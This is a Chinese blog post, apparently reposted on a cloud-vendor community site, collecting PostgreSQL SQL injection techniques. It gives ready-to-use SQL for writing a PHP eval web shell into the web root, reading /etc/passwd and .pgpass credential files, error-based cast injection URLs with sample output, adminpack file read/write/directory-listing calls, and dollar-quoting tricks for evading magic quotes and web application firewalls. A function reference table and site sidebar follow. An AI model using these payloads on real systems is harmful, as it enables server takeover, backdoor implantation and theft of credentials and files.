Postgresql注入研究三两事(续集)

本文涉及的产品
云原生数据库 PolarDB MySQL 版,Serverless 5000PCU 100GB
简介: 以下下部分有Mickey兄提供1.在postgresql下导出webshellcreate table mickey_shell(shell text not null);insert...
以下下部分有Mickey兄提供

1.在postgresql下导出webshell
create table mickey_shell(shell text not null);
insert into shell values('<?php eval($_POST[cmd]);?>');
copy mickey_shell(shell) to '/var/www/html/mickey.php';


另一种简便的方法:
copy (select '<?php eval($_POST[cmd]);?>') to '/var/www/html/mickey.php'


2.如果没有写权限,可以尝试读文件
create table mickey_file(file text not null);
copy mickey_file (file) from '/etc/passwd';
select * from mickey_file;

读取文件前20行
pg_read_file('/etc/passwd',1,20)

PGADMIN 的帐户信息,在linux 下默认存放在用户家目录的.pgpass 文件中
mickey@pentest:~$ pwd
/home/mickey
mickey@pentest:~$ cat .pgpass
127.0.0.1:5432:*:postgres:mickey

判断postgresql 数据库
http://www.xxx.com/news.php?id=62 and 1::int=1

通过cast 类型转换来暴postgresql 信息
http://www.xxx.com/new.php?id=1 and 1=cast(version() as int)

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid
input syntax for integer: "PostgreSQL 8.2.9 on
i386-portbld-freebsd6.3, compiled by GCC cc (GCC) 3.4.6 [FreeBSD]
20060305" in /usr/local/www/apache22/data/qzx/news.php on line 6

http://www.xxx.com/new.php?id=1 and 1=cast(current_user as int)

如果遇到此类的出错信息
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: cannot
cast type name to integer in /usr/local/www/apache22/data/qzx/news.php
on line 6


http://www.xxx.com/new.php?id=1 and 1=cast(current_user ||123 as int)

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid
input syntax for integer: "zhangfeng123" in
/usr/local/www/apache22/data/qzx/homehs.php on line 109


我的小小补充
        没研究注入许久了,多谢Mickey兄提供才有了我重新审视pgsql注入的机会。
        从pgsql8.2开始支持adminpack这个包,看了代码过后认为几乎对于管理员来说,可以无限制使用。(代码    https://projects.commandprompt.com/public/replicator/browser/trunk /contrib/adminpack/adminpack.c)。权限要求很高。主要有这几个函数
       pg_file_write(filename,text,bool)   bool为覆盖模式
       pg_read_file(filename,pos,length) 返回类型text不提,很好利用,不管是cast暴值还是union
       pg_ls_dir(dirname)
       注意他的返回类型为setof text 需要这样来(select pg_ls_dir('/var/www/') limit 1 offset n)这样来读取不同记录
       pg_stat_file(filename)   这个返回结果是record,为文件属性,需要把他作为一个子表来看待。不太清楚具体的返回字段。有兴趣的同学自己看看。另外像pg_file_unlink,pg_file_raname不提。
       单引号的绕过在pg8.0以上容易实现。这部分来源于老外的文档。大致意思可以用$quote$代替单引号,也可以用$$来定义字符。比如'test'变成$quote$test$quote$或$$test$$。这样对php的注入就大为方便了。
下面引用自:Advanced PostgreSQL SQL Injection and Filter Bypass Techniques(作者:Leon Juranić)
              This allows the attacker string quoting with the dollar sign; the following two strings
are treated identically by a PostgreSQL database version 8 or higher: 'TEST' and $$TEST$$.
Considering that magic quotes does not filter dollar signs, this allows the attacker to inject
strings into SQL statements without the need to use the CHR() function. Such encoding of
strings can also be used with web application firewalls that filter other characters, such as the
pipe ('|') character.
The following example shows a SELECT statement using a dollar-quoted string constant:
SELECT $$DOLLAR-SIGN-TEST$$;
Finally, PostgreSQL supports string quoting with tags. Tags have to be defined between the
dollar signs ($tag$), as shown in the example below:
SELECT $quote$DOLLAR-SIGN-TEST$quote$;
This can further help the attacker bypass web application firewalls.
附录:
系统信息函数

9-39 显示了几个抽取会话及系统信息的函数。

9-39. 会话信息函数

名字

返回类型

描述

current_database()

name

当前数据库的名字

current_schema()

name

当前模式的名字

current_schemas(boolean)

name[]

在搜索路径中的模式名字

current_user

name

目前执行环境下的用户名

inet_client_addr()

inet

连接的远端址

inet_client_port()

int

连接的远端端口

inet_server_addr()

inet

连接的本地地址

inet_server_port()

int

连接的本地端口

session_user

name

会话用户名

pg_postmaster_start_time()

timestamp with time zone

postmaster 启动的时间

user

name

等于 current_user

version ()

text

PostgreSQL 版本信息

session_user 通常是初始化当前数据库联接的用户, 不过超级用户可以用 SET SESSION AUTHORIZATION 修改这个设置。 current_user 是用于权限检查的用户标识。通常, 它总是等于会话用户,但是在将来可能有 "setuid" 函数和其他它是等于会话用户, 但是它在函数执行的过程中随着属性 SECURITY DEFINER 的改变而改变。 在 Unix 的说法里,那么会话用户是 " 真实用户 " ,而当前用户是 " 有效用户 "

相关实践学习
使用PolarDB和ECS搭建门户网站
本场景主要介绍基于PolarDB和ECS实现搭建门户网站。
阿里云数据库产品家族及特性
阿里云智能数据库产品团队一直致力于不断健全产品体系,提升产品性能,打磨产品功能,从而帮助客户实现更加极致的弹性能力、具备更强的扩展能力、并利用云设施进一步降低企业成本。以云原生+分布式为核心技术抓手,打造以自研的在线事务型(OLTP)数据库Polar DB和在线分析型(OLAP)数据库Analytic DB为代表的新一代企业级云原生数据库产品体系, 结合NoSQL数据库、数据库生态工具、云原生智能化数据库管控平台,为阿里巴巴经济体以及各个行业的企业客户和开发者提供从公共云到混合云再到私有云的完整解决方案,提供基于云基础设施进行数据从处理、到存储、再到计算与分析的一体化解决方案。本节课带你了解阿里云数据库产品家族及特性。
目录
相关文章
|
6月前
|
JSON Java 关系型数据库
Spring Boot 学习研究笔记(十三) Spring Data JPA与PostgreSQL的jsonb类型集成
Spring Boot 学习研究笔记(十三) Spring Data JPA与PostgreSQL的jsonb类型集成
|
6月前
|
Java 关系型数据库 数据库
Spring Boot 学习研究笔记(七) -使用SpringData JPA访问PostgreSql数据库
Spring Boot 学习研究笔记(七) -使用SpringData JPA访问PostgreSql数据库
123 0
|
6月前
|
关系型数据库 Linux 数据库
PostgreSQL学习研究笔记(二)- 安装
PostgreSQL学习研究笔记(二)- 安装
|
6月前
|
存储 SQL JSON
PostgreSQL学习研究笔记(一)
PostgreSQL学习研究笔记(一)
|
新零售 关系型数据库 测试技术
PostgreSQL技术周刊第10期:PostgreSQL 调用 Rust 函数内存耗用研究
PostgreSQL(简称PG)的开发者们:云栖社区已有5000位PG开发者,发布了3000+PG文章(文章列表),沉淀了700+的PG精品问答(问答列表)。 PostgreSQL技术周刊会为大家介绍最新的PG技术与动态、预告活动、最热问答、直播教程等,欢迎大家订阅PostgreSQL技术周刊。
3172 0
|
关系型数据库 PostgreSQL Rust
|
关系型数据库 PostgreSQL 索引
|
关系型数据库 PostgreSQL
|
27天前
|
关系型数据库 分布式数据库 数据库
成都晨云信息技术完成阿里云PolarDB数据库产品生态集成认证
近日,成都晨云信息技术有限责任公司(以下简称晨云信息)与阿里云PolarDB PostgreSQL版数据库产品展开产品集成认证。测试结果表明,晨云信息旗下晨云-站群管理系统(V1.0)与阿里云以下产品:开源云原生数据库PolarDB PostgreSQL版(V11),完全满足产品兼容认证要求,兼容性良好,系统运行稳定。